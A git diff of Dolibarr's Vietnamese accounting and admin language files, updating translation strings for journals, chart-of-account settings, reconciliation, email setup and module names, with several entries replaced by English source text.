-ACCOUNTING_SELL_JOURNAL=Nhật ký bán hàng -ACCOUNTING_PURCHASE_JOURNAL=Nhật ký mua hàng -ACCOUNTING_MISCELLANEOUS_JOURNAL=Nhật ký khác +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Nhật ký báo cáo chi phí -ACCOUNTING_SOCIAL_JOURNAL=Nhật ký chi phí xã hội +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Có nhật ký mới +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Nhật ký chi phí xã hội ACCOUNTING_RESULT_PROFIT=Tài khoản kế toán kết quả kinh doanh (Lợi nhuận) ACCOUNTING_RESULT_LOSS=Tài khoản kế toán kết quả kinh doanh (Lỗ) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Nhật ký đóng -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Tài khoản kế toán chuyển khoản ngân hàng chuyển tiếp +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Tài khoản chuyển khoản ngân hàng chuyển tiếp -ACCOUNTING_ACCOUNT_SUSPENSE=Tài khoản kế toán chờ -DONATION_ACCOUNTINGACCOUNT=Tài khoản kế toán cho đăng ký quyên góp. -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Tài khoản kế toán để đăng ký tham gia +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Tài khoản kế toán theo mặc định cho các sản phẩm đã mua (được sử dụng nếu không được xác định trong bảng sản phẩm) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Tài khoản kế toán theo mặc định cho các sản phẩm đã mua trong EEC (được sử dụng nếu không được xác định trong bảng sản phẩm) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Tài khoản kế toán theo mặc định cho các sản phẩm đã mua và được nhập ra khỏi EEC (được sử dụng nếu không được xác định trong bảng sản phẩm) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Tài khoản kế toán theo mặc định cho các sản phẩm đã bán (được sử dụng nếu không được xác định trong bảng sản phẩm) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Tài khoản kế toán theo mặc định cho các sản phẩm được bán trong EEC (được sử dụng nếu không được xác định trong bảng sản phẩm) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Tài khoản kế toán theo mặc định cho các sản phẩm được bán và xuất ra khỏi EEC (được sử dụng nếu không được xác định trong bảng sản phẩm) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Tài khoản kế toán theo mặc định cho các dịch vụ đã mua (được sử dụng nếu không được xác định trong bảng dịch vụ) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Tài khoản kế toán theo mặc định cho các dịch vụ đã mua trong EEC (được sử dụng nếu không được xác định trong bảng dịch vụ) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Tài khoản kế toán theo mặc định cho các dịch vụ đã mua và được nhập ra khỏi EEC (được sử dụng nếu không được xác định trong bảng dịch vụ) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Tài khoản kế toán theo mặc định cho các dịch vụ đã bán (được sử dụng nếu không được xác định trong bảng dịch vụ) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Tài khoản kế toán theo mặc định cho các dịch vụ được bán trong EEC (được sử dụng nếu không được xác định trong bảng dịch vụ) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Tài khoản kế toán theo mặc định cho các dịch vụ được bán và xuất ra khỏi EEC (được sử dụng nếu không được xác định trong bảng dịch vụ) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Loại chứng từ Docdate=Ngày @@ -211,7 +220,8 @@ Codejournal=Nhật ký JournalLabel=Mã nhật ký NumPiece=Số lượng cái TransactionNumShort=Số Giao dịch -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=Bạn có thể định nghĩa ở đây một số nhóm tài khoản kế toán. Chúng sẽ được sử dụng cho các báo cáo kế toán đã cá nhân hóa. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Nhóm tài khoản PcgtypeDesc=Nhóm tài khoản được sử dụng làm tiêu chí 'bộ lọc' và 'nhóm' được xác định trước cho một số báo cáo kế toán. Ví dụ: 'THU NHẬP' hoặc 'CHI PHÍ' được sử dụng làm nhóm cho tài khoản kế toán của các sản phẩm để xây dựng báo cáo chi phí / thu nhập. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Đối soát lại TotalVente=Tổng doanh thu trước thuế TotalMarge=Tổng lợi nhuận bán hàng -DescVentilCustomer=Tham khảo tại đây danh sách các dòng hóa đơn của khách hàng bị ràng buộc (hoặc không) với tài khoản kế toán sản phẩm -DescVentilMore=Trong hầu hết các trường hợp, nếu bạn sử dụng các sản phẩm hoặc dịch vụ được xác định trước và bạn đặt số tài khoản trên thẻ sản phẩm/ dịch vụ, ứng dụng sẽ có thể thực hiện tất cả các ràng buộc giữa các dòng hóa đơn và tài khoản kế toán của hệ thống tài khoản của bạn, chỉ trong một cú nhấp chuột với nút "%s" . Nếu tài khoản không được thiết lập trên thẻ sản phẩm/ dịch vụ hoặc nếu bạn vẫn còn một số dòng không bị ràng buộc với tài khoản, bạn sẽ phải thực hiện ràng buộc thủ công từ menu " %s ". -DescVentilDoneCustomer=Tham khảo tại đây danh sách các dòng hóa đơn của khách hàng và tài khoản kế toán sản phẩm của họ -DescVentilTodoCustomer=Ràng buộc dòng hóa đơn chưa được ràng buộc với tài khoản kế toán sản phẩm -ChangeAccount=Thay đổi tài khoản kế toán sản phẩm/ dịch vụ cho các dòng được chọn bằng tài khoản kế toán sau: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Tham khảo tại đây danh sách các dòng hóa đơn của nhà cung cấp bị ràng buộc hoặc chưa được ràng buộc với tài khoản kế toán sản phẩm (chỉ có bản ghi chưa được chuyển trong kế toán) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Tham khảo tại đây danh sách các dòng hóa đơn của nhà cung cấp và tài khoản kế toán của họ DescVentilTodoExpenseReport=Ràng buộc dòng báo cáo chi phí chưa được ràng buộc với tài khoản kế toán phí DescVentilExpenseReport=Tham khảo tại đây danh sách các dòng báo cáo chi phí ràng buộc (hoặc không) với tài khoản kế toán phí @@ -279,24 +290,25 @@ DescVentilExpenseReportMore=Nếu bạn thiết lập tài khoản kế toán th DescVentilDoneExpenseReport=Tham khảo tại đây danh sách các dòng báo cáo chi phí và tài khoản kế toán phí của họ Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=Bất kỳ sửa đổi hoặc xóa viết, chữ và xóa sẽ bị cấm. Tất cả các mục cho một thi hành phải được xác nhận nếu không việc đóng sẽ không thể thực hiện được ValidateHistory=Tự động ràng buộc AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Lỗi, bạn không thể xóa tài khoản kế toán này bởi vì nó được sử dụng +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Số dư FicheVentilation=Thẻ ràng buộc GeneralLedgerIsWritten=Giao dịch được ghi trong Sổ Cái GeneralLedgerSomeRecordWasNotRecorded=Một số giao dịch không thể được ghi nhật ký. Nếu không có thông báo lỗi khác, điều này có thể là do chúng đã được ghi nhật ký. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=Danh sách các sản phẩm không ràng buộc với bất kỳ tài khoản kế toán +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Thay đổi ràng buộc Accounted=Tài khoản trên Sổ cái NotYetAccounted=Not yet transferred to accounting @@ -322,6 +334,7 @@ AccountingJournalType4=Ngân hàng AccountingJournalType5=Báo cáo chi phí AccountingJournalType8=Hàng tồn kho AccountingJournalType9=Có-mới +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Nhật ký này đã được sử dụng AccountingAccountForSalesTaxAreDefinedInto=Lưu ý: Tài khoản kế toán thuế VAT được xác định trong menu %s - %s NumberOfAccountancyEntries=Số lượng mục @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Số lượng kết chuyển ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Xuất dữ liệu bản nháp nhật ký @@ -389,7 +406,7 @@ SaleLocal=Bán địa phương SaleExport=Bán hàng xuất khẩu SaleEEC=Bán trong EEC SaleEECWithVAT=Bán trong EEC với VAT không phải là null, vì vậy chúng tôi cho rằng đây KHÔNG phải là bán hàng nội bộ và tài khoản được đề xuất là tài khoản sản phẩm tiêu chuẩn. -SaleEECWithoutVATNumber=Bán trong EEC không có VAT nhưng ID VAT của bên thứ ba không được xác định. Chúng tôi dự phòng tài khoản sản phẩm để bán hàng tiêu chuẩn. Bạn có thể sửa ID VAT của bên thứ ba hoặc tài khoản sản phẩm nếu cần. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -398,7 +415,11 @@ Calculated=Tính toán Formula=Công thức ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Xác nhận xóa hàng loạt ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -427,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Ghi sổ kế toán @@ -453,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Ngày xuất WarningReportNotReliable=Cảnh báo, báo cáo này không dựa trên Sổ Cái, do đó không chứa giao dịch được sửa đổi thủ công trong Sổ Cái. Nếu nhật ký của bạn được cập nhật, chế độ xem sổ sách chính xác hơn. ExpenseReportJournal=Nhật ký báo cáo chi phí -InventoryJournal=Nhật ký tồn kho +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/vi_VN/admin.lang b/htdocs/langs/vi_VN/admin.lang index 74ff8ee19c0..4c04406613e 100644 --- a/htdocs/langs/vi_VN/admin.lang +++ b/htdocs/langs/vi_VN/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Đối chiếu máy khách WarningModuleNotActive=Module %s phải được mở WarningOnlyPermissionOfActivatedModules=Chỉ những quyền liên quan đến các module được kích hoạt mới được hiển thị tại đây. Bạn cần kích hoạt các module khác trong Nhà->Thiết lập->Trang Module. DolibarrSetup=Cài đặt hoặc nâng cấp Dolibarr -InternalUser=Người dùng bên trong -ExternalUser=Người dùng bên ngoài InternalUsers=Người dùng bên trong ExternalUsers=Người dùng bên ngoài UserInterface=User interface @@ -66,7 +64,7 @@ IfModuleEnabled=Ghi chú: Yes chỉ có tác dụng nếu module %s đư RemoveLock=Xóa / đổi tên tệp %s nếu nó tồn tại, để cho phép sử dụng công cụ Cập nhật / Cài đặt. RestoreLock=Khôi phục tệp %s , chỉ với quyền đọc, để vô hiệu hóa bất kỳ việc sử dụng thêm công cụ Cập nhật / Cài đặt nào. SecuritySetup=Thiết lập an ninh -PHPSetup=PHP setup +PHPSetup=Thiết lập PHP OSSetup=OS setup SecurityFilesDesc=Xác định các tùy chọn ở đây liên quan đến bảo mật về việc tải lên các tệp. ErrorModuleRequirePHPVersion=Lỗi, module này yêu cầu phiên bản PHP %s hoặc mới hơn @@ -147,6 +145,7 @@ Box=widget Boxes=widgets MaxNbOfLinesForBoxes=Số dòng tối đa cho widgets AllWidgetsWereEnabled=Tất cả các widgets có sẵn được kích hoạt +WidgetAvailable=Widget available PositionByDefault=Trật tự mặc định Position=Chức vụ MenusDesc=Trình quản lý menu để thiết lập nội dung của hai thanh menu (ngang và dọc). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Máy chủ SMTP / SMTPS (giá trị mặc định trong ph MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Cổng SMTP / SMTPS (Không được xác định trong PHP trên các hệ thống tương tự Unix) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=Máy chủ SMTP / SMTPS (Không được xác định trong PHP trên các hệ thống tương tự Unix) MAIN_MAIL_EMAIL_FROM=Email người gửi cho email tự động (giá trị mặc định trong php.ini: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email được sử dụng cho lỗi trả về email (các trường 'Lỗi-Đến' trong email đã gửi) MAIN_MAIL_AUTOCOPY_TO= Sao chép (Bcc) tất cả các email đã gửi đến MAIN_DISABLE_ALL_MAILS=Vô hiệu hóa tất cả gửi email (cho mục đích thử nghiệm hoặc bản demo) @@ -375,7 +375,7 @@ DoTestSendHTML=Kiểm tra gửi HTML ErrorCantUseRazIfNoYearInMask=Error, can't use option @ to reset counter each year if sequence {yy} or {yyyy} is not in mask. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Error, can't use option @ if sequence {yy}{mm} or {yyyy}{mm} is not in mask. UMask=UMask parameter for new files on Unix/Linux/BSD/Mac file system. -UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone).
      This parameter is useless on a Windows server. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Hãy xem trang Wiki để biết danh sách những người đóng góp và tổ chức của họ UseACacheDelay= Delay for caching export response in seconds (0 or empty for no cache) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Unique Boolean=Boolean (một hộp kiểm) ExtrafieldPhone = Phone ExtrafieldPrice = Giá +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Email ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Lựa chọn danh sách ExtrafieldSelectList = Chọn từ bảng ExtrafieldSeparator=Dấu phân cách (không phải là một trường) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Hộp kiểm ExtrafieldCheckBoxFromList=Hộp đánh dấu từ bảng ExtrafieldLink=Liên kết với một đối tượng ComputedFormula=Trường tính toán -ComputedFormulaDesc=Bạn có thể nhập vào đây một công thức bằng cách sử dụng các thuộc tính khác của đối tượng hoặc bất kỳ mã hóa PHP nào để có được giá trị tính toán động. Bạn có thể sử dụng bất kỳ công thức tương thích PHP nào bao gồm cả "?" toán tử điều kiện và đối tượng toàn cầu sau: $db, $conf, $langs, $ mysoc, $user, $object.
      CẢNH BÁO: Chỉ một số thuộc tính của $object có thể có sẵn. Nếu bạn cần một thuộc tính không được tải, chỉ cần tìm nạp chính đối tượng vào công thức của bạn như trong ví dụ thứ hai.
      Sử dụng trường được tính toán có nghĩa là bạn không thể nhập bất kỳ giá trị nào từ giao diện. Ngoài ra, nếu có lỗi cú pháp, công thức có thể không trả về gì.

      Ví dụ về công thức:
      $object->id <10? round($object-> id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Ví dụ để tải lại đối tượng
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetch($obj->id? $obj-> id: ($obj->rowid ? $obj->rowid: $object-> id ))> 0))? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Ví dụ khác về công thức để buộc tải đối tượng và đối tượng mẹ của nó:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetch ($object-> id)> 0) && ($secondloadedobj = new Project ($db)) && ($secondloadedobj->fetch($reloadedobj-> fk_project)> 0))? $secondloadedobj-> ref: 'Không tìm thấy dự án mẹ' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Lưu trữ trường tính toán ComputedpersistentDesc=Các trường bổ sung được tính toán sẽ được lưu trữ trong cơ sở dữ liệu, tuy nhiên, giá trị sẽ chỉ được tính toán lại khi đối tượng của trường này bị thay đổi. Nếu trường được tính toán phụ thuộc vào các đối tượng khác hoặc dữ liệu toàn cầu, giá trị này có thể sai !! ExtrafieldParamHelpPassword=Để trống trường này có nghĩa là giá trị này sẽ được lưu trữ mà không cần mã hóa (trường phải được ẩn với dấu sao trên màn hình).
      Đặt 'tự động' để sử dụng quy tắc mã hóa mặc định để lưu mật khẩu vào cơ sở dữ liệu (khi đó giá trị đọc sẽ chỉ là hàm băm, không có cách nào để lấy giá trị gốc) @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Nếu nhà cung cấp dịch vụ email email của bạn cần hạn chế ứng dụng email khách đến một số địa chỉ IP (rất hiếm), thì đây là địa chỉ IP của tác nhân người dùng thư (MUA) cho ứng dụng ERP CRM của bạn: %s . WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Thí dụ:
      Đối với biểu mẫu đ PageUrlForDefaultValuesList=
      Thí dụ:
      Đối với trang liệt kê các bên thứ ba, đó là %s .
      Đối với URL của các mô-đun bên ngoài được cài đặt vào thư mục tùy chỉnh, không bao gồm "custom/", vì vậy hãy sử dụng một đường dẫn như mymodule/mypagelist.php và không tùy chỉnh /mymodule/mypagelist.php.
      Nếu bạn chỉ muốn giá trị mặc định nếu url có một số tham số, bạn có thể sử dụng %s AlsoDefaultValuesAreEffectiveForActionCreate=Cũng lưu ý rằng việc ghi đè các giá trị mặc định để tạo biểu mẫu chỉ hoạt động đối với các trang được thiết kế chính xác (vì vậy với tham số action = tạo hoặc đặt trước ...) EnableDefaultValues=Cho phép tùy chỉnh các giá trị mặc định -EnableOverwriteTranslation=Cho phép sử dụng bản dịch ghi đè +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Một bản dịch đã được tìm thấy cho khóa với mã này. Để thay đổi giá trị này, bạn phải chỉnh sửa nó từ Nhà - Thiết lập - Dịch. WarningSettingSortOrder=Cảnh báo, đặt thứ tự sắp xếp mặc định có thể dẫn đến lỗi kỹ thuật khi vào trang danh sách nếu trường là trường không xác định. Nếu bạn gặp lỗi như vậy, hãy quay lại trang này để xóa thứ tự sắp xếp mặc định và khôi phục hành vi mặc định. Field=Trường @@ -643,11 +646,13 @@ Module2300Name=Việc theo lịch trình Module2300Desc=Quản lý công việc theo lịch trình (bí danh cron hoặc bảng chrono) Module2400Name=Sự kiện / Chương trình nghị sự Module2400Desc=Theo dấu sự kiện. Đăng nhập các sự kiện tự động cho mục đích theo dõi hoặc ghi lại thủ công các sự kiện hoặc cuộc họp. Đây là mô-đun chính tốt cho Quản lý quan hệ khách hàng hoặc nhà cung cấp. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Hệ thống quản lý tài liệu / Quản lý nội dung điện tử. Tự động tổ chức các tài liệu được tạo hoặc lưu trữ của bạn. Chia sẻ chúng khi bạn cần. -Module2600Name=API/dịch vụ Web (máy chủ SOAP) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Kích hoạt máy chủ Dolibarr SOAP cung cấp dịch vụ API -Module2610Name=API / dịch vụ Web (máy chủ REST) +Module2610Name=API / Web services (REST server) Module2610Desc=Kích hoạt máy chủ Dolibarr REST cung cấp dịch vụ API Module2660Name=Gọi Dịch vụ Web (ứng dụng khách SOAP) Module2660Desc=Kích hoạt ứng dụng khách dịch vụ web Dolibarr (Có thể được sử dụng để đẩy dữ liệu/yêu cầu đến các máy chủ bên ngoài. Chỉ các đơn đặt hàng Mua hiện được hỗ trợ.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind conversions capabilities Module3200Name=Lưu trữ không thể thay đổi Module3200Desc=Cho phép một bản ghi không thể thay đổi của các sự kiện kinh doanh. Các sự kiện được lưu trữ trong thời gian thực. Nhật ký là một bảng chỉ đọc các sự kiện được xâu chuỗi có thể được xuất dữ liệu. Mô-đun này có thể là bắt buộc đối với một số quốc gia. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Mạng xã hội Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). 